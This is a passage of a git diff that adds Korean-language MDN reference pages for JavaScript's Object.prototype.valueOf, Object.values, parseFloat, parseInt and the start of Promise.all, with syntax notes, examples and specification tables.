+toString.call(new String);  // [object String]
+toString.call(Math);        // [object Math]
+
+// Since JavaScript 1.8.5
+toString.call(undefined);   // [object Undefined]
+toString.call(null);        // [object Null]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Call on {{jsxref("null")}} returns <code>[object <em>Null</em>]</code>, and {{jsxref("undefined")}} returns <code>[object <em>Undefined</em>]</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.tostring', 'Object.prototype.toString')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.toString")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("Object.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+ <li>{{jsxref("Symbol.toPrimitive")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/valueof/index.html b/files/ko/web/javascript/reference/global_objects/object/valueof/index.html
new file mode 100644
index 0000000000..7bef3bd48c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/valueof/index.html
@@ -0,0 +1,118 @@
+---
+title: Object.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/Object/valueOf
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/valueOf
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>valueOf()</strong></code> 메서드는 특정 객체의 원시 값을 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-prototype-valueof.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><code><var>object</var>.valueOf()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>객체의 원시 값.</p>
+
+<div class="blockIndicator note">
+<p> <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators#단항_연산자">(단항) 더하기 기호</a> 는 가끔  <code>valueOf</code> 의 단축 표현으로 사용됩니다. 예를 들면, 다음과 같은 표현을 보세요. <code>+new Number()</code>. <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf#단항_더하기_사용하기">단항 더하기 사용하기</a>.도 참조 하세요.</p>
+</div>
+
+<h2 id="설명">설명</h2>
+
+<p>JavaScript는 객체를 원시 값으로 변환할 때 <code>valueOf</code> 메서드를 호출합니다. 보통 원시 값을 필요로 할 때 알아서 사용하므로 직접 호출해야 하는 경우는 매우 드뭅니다.</p>
+
+<p>기본적으로 {{jsxref("Object")}}의 모든 후손 객체는 <code>valueOf</code>를 상속받습니다. 내장된 핵심 객체는 모두 <code>valueOf</code>를 재정의<sup>override</sup>해 적합한 값을 반환합니다. 어떤 객체가 원시 값을 가지고 있지 않다면, <code>valueOf</code>는 객체 스스로를 반환합니다.</p>
+
+<p>여러분의 코드에서 <code>valueOf</code>를 호출해 내장 객체를 원시 값으로 변환할 수 있습니다. 사용자 정의 객체를 만들 땐 <code>valueOf</code>를 재정의해 {{jsxref("Object")}}의 메서드 대신 다른 행동을 부여할 수도 있습니다.</p>
+
+<h3 id="사용자_정의_객체의_valueOf_오버라이딩">사용자 정의 객체의 valueOf 오버라이딩</h3>
+
+<p>기본 <code>valueOf</code> 메서드 대신 사용할 함수를 생성할 수 있습니다. 이 때 함수는 매개변수를 받지 않아야 합니다.</p>
+
+<p><code>MyNumberType</code>이라는 객체 형태가 존재하고, 이 객체의 <code>valueOf</code> 메서드를 만들고 싶다고 가정하겠습니다. 다음의 코드는 객체의 <code>valueOf</code> 메서드에 사용자 정의 함수를 할당합니다.</p>
+
+<pre class="brush: js notranslate">MyNumberType.prototype.valueOf = function() { return customPrimitiveValue; };</pre>
+
+<p>위의 코드가 활성화된 상태에서 어떤 <code>MyNumberType</code> 객체를 원시 값으로 표현해야 하면 JavaScript가 자동으로 저 함수를 실행합니다.</p>
+
+<p>이 객체의 <code>valueOf</code> 메서드는 보통 JavaScript가 호출하겠지만 다음처럼 직접 호출할 수도 있습니다.</p>
+
+<pre class="brush: js notranslate">myNumberType.valueOf()</pre>
+
+<div class="note">
+<p><strong>참고:</strong> 문자열 문맥에서 객체-문자열 변환은 {{jsxref("Object.toString", "toString()")}} 메서드를 사용하며, {{jsxref("String")}} 객체의 <code>valueOf</code>를 사용해 원시 문자열로 변환하는 것과는 다릅니다. 모든 객체는, 비록 결과가 "<code>[object type]</code>" 뿐이라도 문자열 변환 기능을 가지고 있습니다. 그러나 대다수의 객체는 숫자, 불리언, 함수 등으로 변환되지 않습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="커스텀_타입에_valueOf_사용하기">커스텀 타입에 valueOf 사용하기</h3>
+
+<pre class="brush: js notranslate">function MyNumberType(n) {
+    this.number = n;
+}
+
+MyNumberType.prototype.valueOf = function() {
+    return this.number;
+};
+
+var myObj = new MyNumberType(4);
+myObj + 3; // 7</pre>
+
+<h3 id="단항_더하기_사용하기"><a name="Details_of_unary_plus">단항 더하기 사용하기</a></h3>
+
+<pre class="notranslate">+"5" // 5 (string to number)
++"" // 0 (string to number)
++"1 + 2" // NaN (doesn't evaluate)
++new Date() // same as (new Date()).getTime()
++"foo" // NaN (string to number)
++{} // NaN
++[] // 0 (toString() returns an empty string list)
++[1] // 1
++[1,2] // NaN
++new Set([1]) // NaN
++BigInt(1) // Uncaught TypeError: Cannot convert a BigInt value to a number
++undefined // NaN
++null // 0
++true // 1
++false // 0</pre>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="라우저_호환성">라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Object.valueOf")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+ <li>{{jsxref("parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Symbol.toPrimitive()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/object/values/index.html b/files/ko/web/javascript/reference/global_objects/object/values/index.html
new file mode 100644
index 0000000000..af8f159a53
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/object/values/index.html
@@ -0,0 +1,98 @@
+---
+title: Object.values()
+slug: Web/JavaScript/Reference/Global_Objects/Object/values
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/values
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.values()</strong></code> 메소드는 전달된 파라미터 객체가 가지는 (열거 가능한) 속성의 값들로 이루어진 배열을 리턴합니다. 이 배열은 {{jsxref("Statements/for...in", "for...in")}} 구문과 동일한 순서를 가집니다. (for in 반복문은 프로토타입 체인 또한 열거한다는 점에서 차이가 있습니다.)</p>
+
+<div>{{EmbedInteractiveExample("pages/js/object-values.html")}}</div>
+
+<p class="hidden">샘플 소스는 GitHub에 저장되어 있습니다. 샘플 소스에 대해서 컨트리뷰트하고 싶다면, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a>  프로젝트를 클론하고, 풀 리퀘스트를 보내주세요. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Object.values(<var>obj</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>배열로 변환할 열거 가능한 속성을 가지는 객체</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>전달된 객체의 속성 값들을 포함하는 배열</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Object.values()</code> 는 파라매터로 전달된 객체가 가지는 열거 가능한 속성의 값들로 구성된 배열을 반환합니다. 배열의 값들이 순서는 오브젝트의 속성을 for in 구문등으로 반복한 결과와 동일합니다. (참고로 for in 구문은 순서를 보장하지 않습니다)</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var obj = { foo: 'bar', baz: 42 };
+console.log(Object.values(obj)); // ['bar', 42]
+
+// 유사 배열 (숫자를 속성으로 사용하는 객체)
+var obj = { 0: 'a', 1: 'b', 2: 'c' };
+console.log(Object.values(obj)); // ['a', 'b', 'c']
+
+// 유사 배열의 경의 속성으로 사용한 숫자의 크기 순으로 정렬되어 반환됩니다.
+var an_obj = { 100: 'a', 2: 'b', 7: 'c' };
+console.log(Object.values(an_obj)); // ['b', 'c', 'a']
+
+// getFoo는 열거 가능한 속성이 아니라서 배열에 포함되지 않습니다.
+var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } });
+my_obj.foo = 'bar';
+console.log(Object.values(my_obj)); // ['bar']
+
+// 객체가 아닌 경우에는 객체로 강제로 변환되어 적용됩니다.
+console.log(Object.values('foo')); // ['f', 'o', 'o']
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>Object.values</code> 메소드는 구형 브라우저에서 지원하지 않습니다. 구형 브라우저와의 호환성을 고려하기 위해 폴리필을 찾아 볼 수 있습니다. <a href="https://github.com/tc39/proposal-object-values-entries">tc39/proposal-object-values-entries</a> 혹은 <a href="https://github.com/es-shims/Object.values">es-shims/Object.values</a> 를 참조해보세요.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.values', 'Object.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES8', '#sec-object.values', 'Object.values')}}</td>
+   <td>{{Spec2('ES8')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.values")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.entries()")}}</li>
+ <li>{{jsxref("Object.prototype.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.create()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/parsefloat/index.html b/files/ko/web/javascript/reference/global_objects/parsefloat/index.html
new file mode 100644
index 0000000000..bfc5b2d41e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/parsefloat/index.html
@@ -0,0 +1,120 @@
+---
+title: parseFloat()
+slug: Web/JavaScript/Reference/Global_Objects/parseFloat
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>parseFloat()</strong></code> 함수는 문자열을 분석해 부동소수점 실수로 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-parsefloat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">parseFloat(<em>value</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>변환할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값에서 분석한 부동소수점 수. 분석할 수 없으면 {{jsxref("NaN")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>parseFloat()</code>은 최상위 함수로 어떠한 객체와도 연결되어 있지 않습니다.</p>
+
+<p><code>parseFloat()</code>은 매개변수로 주어진 값 분석하고 부동소수점 수를 반환합니다. 기호(+, -), 숫자(0-9), 소수점 또는 지수 이외의 문자를 발견하면, 그 전까지의 결과만 반환하고 문제의 문자와 그 이후는 모두 무시합니다. 위치에 상관하지 않고, 그런 문자를 발견하면 {{jsxref("NaN")}}을 반환하는 더 엄격한 방법이 필요하면 {{jsxref("Number", "Number(value)")}}를 고려하세요.</p>
+
+<p>값이 문자열인데 첫 번째 문자를 숫자로 변환할 수 없는 경우 <code>parseFloat()</code>도 <code>NaN</code>을 반환합니다.</p>
+
+<p>수학적으로 <code>NaN</code>은 어떤 진법에도 속하지 않습니다. {{jsxref("isNaN", "isNaN()")}} 함수를 사용해 결과 값이 <code>NaN</code>인지 확인할 수 있습니다. <code>NaN</code>을 다른 값과의 수학 연산에 사용하면 그 결과도 언제나 <code>NaN</code>이 됩니다.</p>
+
+<p><code>parseFloat()</code>은 {{jsxref("Infinity")}}도 분석 및 반환할 수 있습니다. {{jsxref("isFinite", "isFinite()")}} 함수를 사용해 결과 값이 유한수(<code>Infinity</code>, <code>-Infinity</code>, <code>NaN</code>이 아닌 수)인지 알 수 있습니다.</p>
+
+<p><code>parseFloat()</code>은 <code>toString</code>이나 <code>valueOf</code> 메서드를 구현한 객체도 분석할 수 있습니다. 이 때의 결과는 객체의 <code>toString()</code>, <code>valueOf()</code>의 반환 값을 <code>parseFloat()</code>에 전달한 것과 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="숫자를_반환하는_경우">숫자를 반환하는 경우</h3>
+
+<p>아래 예제는 모두 <code>3.14</code>를 반환합니다.</p>
+
+<pre class="brush: js">parseFloat(3.14);
+parseFloat('3.14');
+parseFloat('314e-2');
+parseFloat('0.0314E+2');
+parseFloat('3.14와 숫자가 아닌 문자들');
+
+var foo = Object.create(null);
+foo.toString = function () { return "3.14"; };
+parseFloat(foo);
+
+var foo = Object.create(null);
+foo.valueOf = function () { return "3.14"; };
+parseFloat(foo);​​​​​
+</pre>
+
+<h3 id="NaN을_반환하는_경우"><code>NaN</code>을 반환하는 경우</h3>
+
+<p>다음 예제는 {{jsxref("NaN")}}을 반환합니다.</p>
+
+<pre class="brush: js">parseFloat('FF2');
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.3', 'parseFloat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-parsefloat-string', 'parseFloat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-parsefloat-string', 'parseFloat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.parseFloat")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/parseint/index.html b/files/ko/web/javascript/reference/global_objects/parseint/index.html
new file mode 100644
index 0000000000..0539e1ba53
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/parseint/index.html
@@ -0,0 +1,220 @@
+---
+title: parseInt()
+slug: Web/JavaScript/Reference/Global_Objects/parseInt
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>parseInt()</strong></code> 함수는 문자열 인자를 구문분석하여 특정 진수(수의 진법 체계에 기준이 되는 값)의 정수를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-parseint.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">parseInt(<em>string</em>, <em>radix</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>분석할 값. 만약 <code>string</code>이 문자열이 아니면 문자열로 변환(<code><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tostring">ToString</a></code> 추상 연산을 사용)합니다. 문자열의 선행 공백은 무시합니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>radix</code>{{optional_inline}}</dt>
+ <dd><code>string</code>이 표현하는 정수를 나타내는 2와 36 사이의 진수(수의 진법 체계에 기준이 되는 값). 주의하세요-기본값이 10이 아닙니다!</dd>
+ <dt></dt>
+ <dt>
+ <div class="blockIndicator warning">
+ <p><a href="#설명">아래의 설명</a>은 radix가 제공되지 않았을때 무엇이 발생하는지 상세하게 설명하고 있습니다.</p>
+ </div>
+ </dt>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 <code>string</code>로부터 분석한 정수.</p>
+
+<p>또는 아래의 경우에는 {{jsxref("NaN")}}을 반환합니다</p>
+
+<ul>
+ <li><code>radix</code>가 2보다 작거나 36보다 큰 경우</li>
+ <li>첫번째 non-whitespace 문자가 숫자로 변환되지 않는 경우</li>
+</ul>
+
+<h2 id="설명_2"><a id="설명" name="설명">설명</a></h2>
+
+<p><code>parseInt</code> 함수는 첫 번째 인자를 문자열로 변환하고 파싱하고,  그 문자열을 파싱하여 정수나 <code>NaN</code>을 리턴합니다.</p>
+
+<p>만약 <code>NaN</code>이 아니면, 첫번째 인자를 특정 <code><var>radix</var></code>(진수) 값으로 표현한 정수가 반환됩니다. (예를 들면, <code><var>radix</var></code>가 <code>10</code>인 경우 십진수로 변환하며, <code>8</code>인 경우는 8진수로, <code>16</code>인 경우 16진수 등등으로  변환합니다.)</p>
+
+<p><code>radix </code>가 <code>10</code> 이상인 경우, <code>9</code>보다 큰 숫자들은 알파벳 문자로 나타내집니다. 예를 들면, 16 진수의 경우, A부터 F가 사용됩니다.</p>
+
+<p>만약 <code>parseInt</code> 함수가 특정 진수를 나타내는 숫자가 아닌 글자를 마주치게 되면, 이 글자와 계속되는 글자들은 전부 무시되며, 파싱된 정수값을 리턴합니다. <code>parseInt</code> 함수는 정수값으로 숫자를 잘라버립니다. 맨 앞의 공백과 그 뒤의 공백들은 허용됩니다.</p>
+
+<p>일부 숫자들은 문자열 표현에 e 문자를 사용하기 때문에(예: 6.022 × 10<sup>23</sup>의 경우 <code>6.022e23</code> ) 숫자를 자르기 위하여 <code>parseInt</code>를 사용하는 것은 매우 크거나 매우 작은 숫자에 사용하는 경우 예기치 않은 결과가 발생합니다. <code>parseInt</code>는 {{jsxref("Math.floor()")}}의 대체품으로 사용해서는 안 됩니다.</p>
+
+<p><code>parseInt</code>는 양수를 의미하는 <code>+ </code>기호와 음수를 나타내는 <code>-</code> 기호를 정확히 이해합니다(ECMAScript 1 이후). 공백이 제거된 후 구문 분석의 초기 단계로 수행됩니다. 기호를 찾을 수 없으면 알고리즘이 다음 단계로 이동하고, 그렇지 않으면 기호를 제거하고 문자열의 나머지 부분에서 숫자 파싱을 실행합니다.</p>
+
+<p>만약 <var>radix</var> 가 <code>undefined</code> 이거나 0이라면, (또는 없다면), JavaScript 는 아래와 같이 임의 처리합니다. :</p>
+
+<ol>
+ <li>인풋 값 <code>string</code> 이 "0x" 나 "0X"로 시작한다면, <var>radix</var> 는 16(16진)이며, 나머지 문자열은 파싱됩니다.</li>
+ <li>인풋 값 <code>string</code> 이 "0"으로 시작한다면, <var>radix</var> 는 8(8진)이거나, 10(십진)입니다. 정확히 이 선택된 radix 는 구현 의존적적입니다. ECMAScript 5 는 10(십진)이 사용되는 것을 명시하지만, 모든 브라우저가 아직 이렇게 되지 않습니다. 이러한 이유로 <strong>항상 <code>parseInt</code>를 사용할 때는 radix 값을 명시해야 합니다.</strong></li>
+ <li>인풋 값 <code>string</code> 이 다른 값으로 시작 된다면, radix 는 10(십진)입니다.</li>
+</ol>
+
+<p>첫 번째 글자가 숫자로 변환될 수 없다면, <code>parseInt</code> 는 <code>NaN</code>을 리턴할 것입니다.</p>
+
+<p>연산의 경우, <code>NaN</code> 값은 어떠한 radix 숫자도 아닙니다. <code>parseInt</code> 값이 <code>NaN</code>인지 알아내기 위해 {{jsxref("isNaN")}} 함수를 호출할 수 있습니다. 만약 <code>NaN</code>이 산술 연산으로 넘겨진다면, 이 연산의 결과 또한 NaN이 될 것입니다.</p>
+
+<p>특정 진수의 스트링 리터럴로 숫자를 변환하는 것은 <code>intValue.toString(radix)</code>를 사용합니다.</p>
+
+<div class="blockIndicator warning">
+<p>{{jsxref("BigInt")}} 주의: <code>parseInt</code>는 {{jsxref("BigInt")}}를 {{jsxref("Number")}}으로 변환하여 정확성을 떨어뜨립니다. 이는 "n"을 포함한 숫자가 아닌 값은 삭제되기 때문입니다.</p>
+</div>
+
+<h2 id="radix가_없는_8진_해석">radix가 없는 8진 해석</h2>
+
+<p>비록 ECMAScript 3 에서 권장되지 않고, ECMAScript 5 에서 금지되었지만, 많은 구현들은 <code>0</code>으로 시작하는 8진수 문자열을 해석합니다. 다음의 코드는 8진 결과를 가질 수도 있으며, 10진의 결과를 가질 수도 있습니다. <strong>항상 이러한 명확하지 않은 표현은 피하고 <code>radix</code>를 명시하도록 합니다.</strong></p>
+
+<pre class="brush: js notranslate">parseInt("0e0"); // 0
+parseInt("08"); // 0, '8' 은 8진수가 아니다.
+</pre>
+
+<h3 id="ECMAScript_5는_8진수_해석을_삭제하였습니다.">ECMAScript 5는 8진수 해석을 삭제하였습니다.</h3>
+
+<p>ECMAScript 5의 <code>parseInt</code> 함수 스펙은 더 이상 <code>0</code> 으로 시작하는 8진수 값의 문자열을 다루는 구현을 허용하지 않습니다. ECMAScript 5는 다음을 발표했습니다. :</p>
+
+<p><code>parseInt</code> 함수는 특정 radix(진수)값에 따라 문자열 아규먼트 내용의 해석을 하고, 그 영향을 받은 정수 값을 생성합니다. 문자열 내에서 시작되는 부분에 위치한 공백은 무시됩니다. 만약 radix 값이 정의되지 않거나, <code>0</code>이라면, 이것은 10진수로 여겨집니다. <code>0x</code> 이나 <code>0X</code> 으로 시작되는 숫자 일 때는 16진수로 여겨집니다.</p>
+
+<p>ECMAScript 3 와의 차이는 8진수의 해석을 허용하고 있느냐의 차이입니다.</p>
+
+<p>많은 구현들이 2013부터 이 방식을 채택하고 있지 않아 왔습니다. 오래된 브라우저는 지원되어야 하기 때문에 <strong>항상 radix 값을 명시 해야합니다. </strong></p>
+
+<h2 id="더_엄격한_파싱_함수">더 엄격한 파싱 함수</h2>
+
+<p>가끔은 int 값을 파싱할 때 더 엄격한 방식을 이용하는 것이유용합니다. 정규 표현식이 도움이 될 것입니다. :</p>
+
+<pre class="brush: js notranslate">filterInt = function (value) {
+  if(/^(\-|\+)?([0-9]+|Infinity)$/.test(value))
+    return Number(value);
+  return NaN;
+}
+
+console.log(filterInt('421'));               // 421
+console.log(filterInt('-421'));              // -421
+console.log(filterInt('+421'));              // 421
+console.log(filterInt('Infinity'));          // Infinity
+console.log(filterInt('421e+0'));            // NaN
+console.log(filterInt('421hop'));            // NaN
+console.log(filterInt('hop1.61803398875'));  // NaN
+console.log(filterInt('1.61803398875'));     // NaN
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="parseInt_사용하기"><code>parseInt()</code> 사용하기</h3>
+
+<p>다음의 예제는 모두 <code>15</code>를 리턴합니다.</p>
+
+<pre class="brush: js notranslate">parseInt(" 0xF", 16);
+parseInt(" F", 16);
+parseInt("17", 8);
+parseInt(021, 8);
+parseInt("015", 10);   // parseInt(015, 10);  13이 리턴될 것입니다.
+parseInt(15.99, 10);
+parseInt("15,123", 10);
+parseInt("FXX123", 16);
+parseInt("1111", 2);
+parseInt("15*3", 10);
+parseInt("15e2", 10);
+parseInt("15px", 10);
+parseInt("12", 13);
+</pre>
+
+<p>다음의 예제는 모두 <code>NaN</code>을 리턴합니다.</p>
+
+<pre class="brush: js notranslate">parseInt("Hello", 8); // 전부 숫자가 아님.
+parseInt("546", 2);   // 숫자는 2진법 표현이 불가능함.
+</pre>
+
+<p>다음의 예제는 모두 <code>-15</code>을 리턴합니다. :</p>
+
+<pre class="brush: js notranslate">parseInt("-F", 16);
+parseInt("-0F", 16);
+parseInt("-0XF", 16);
+parseInt(-15.1, 10)
+parseInt(" -17", 8);
+parseInt(" -15", 10);
+parseInt("-1111", 2);
+parseInt("-15e1", 10);
+parseInt("-12", 13);
+</pre>
+
+<p>다음의 예제는 모두 <code>4</code>를 리턴합니다.</p>
+
+<pre class="notranslate">parseInt(4.7, 10)
+parseInt(4.7 * 1e22, 10)        // 매우 큰 숫자가 4가 됨
+parseInt(0.00000000000434, 10)  // 매우 작은 숫자가 4가 됨
+</pre>
+
+<p>만약 숫자가 <code>1e+21</code>과 같거나 큰 경우, 또는 <code>1e-7</code>과 같거나 작은 경우, <code>1</code>을 리턴합니다.(radix가 <code>10</code>인 경우)</p>
+
+<pre class="notranslate">parseInt(0.0000001,10);
+parseInt(0.000000123,10);
+parseInt(1e-7,10);
+parseInt(1000000000000000000000,10);
+parseInt(123000000000000000000000,10);
+parseInt(1e+21,10);
+</pre>
+
+<p>다음의 예제는 모두 <strong><code>224</code></strong>를 리턴합니다.</p>
+
+<pre class="brush: js notranslate">parseInt("0e0", 16);
+</pre>
+
+<p>{{jsxref("BigInt")}} 는 정확성을 잃습니다.</p>
+
+<pre class="notranslate">parseInt('900719925474099267n')
+// 900719925474099300</pre>
+
+<p><code>parseInt</code> 는 숫자구분자와 같이 작동하지 않습니다.</p>
+
+<pre class="notranslate">parseInt('123_456')
+// 123</pre>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-parseint-string-radix', 'parseInt')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div id="compat-mobile">{{Compat("javascript.builtins.parseInt")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Number.toString()")}}</li>
+ <li>{{jsxref("Object.valueOf")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/promise/all/index.html b/files/ko/web/javascript/reference/global_objects/promise/all/index.html
new file mode 100644
index 0000000000..c8a458a665
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/promise/all/index.html
@@ -0,0 +1,239 @@
+---
+title: Promise.all()
+slug: Web/JavaScript/Reference/Global_Objects/Promise/all
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Promise
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Promise.all()</strong></code> 메서드는 순회 가능한 객체에 주어진 모든 프로미스가 이행한 후, 혹은 프로미스가 주어지지 않았을 때 이행하는 {{jsxref("Promise")}}를 반환합니다. 주어진 프로미스 중 하나가 거부하는 경우, 첫 번째로 거절한 프로미스의 이유를 사용해 자신도 거부합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-all.html")}}</div>
+
+<p class="hidden">해당 예제의 소스 코드는 GitHub 리포지토리에 저장되어 있습니다. 인터랙티브 데모 프로젝트에 기여하고 싶다면 <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> 를 클론하고 pull request를 보내 주세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">Promise.all(<var>iterable</var>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>{{jsxref("Array")}}와 같이 <a href="/ko/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterable_protocol">순회 가능</a>한(iterable) 객체.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<ul>
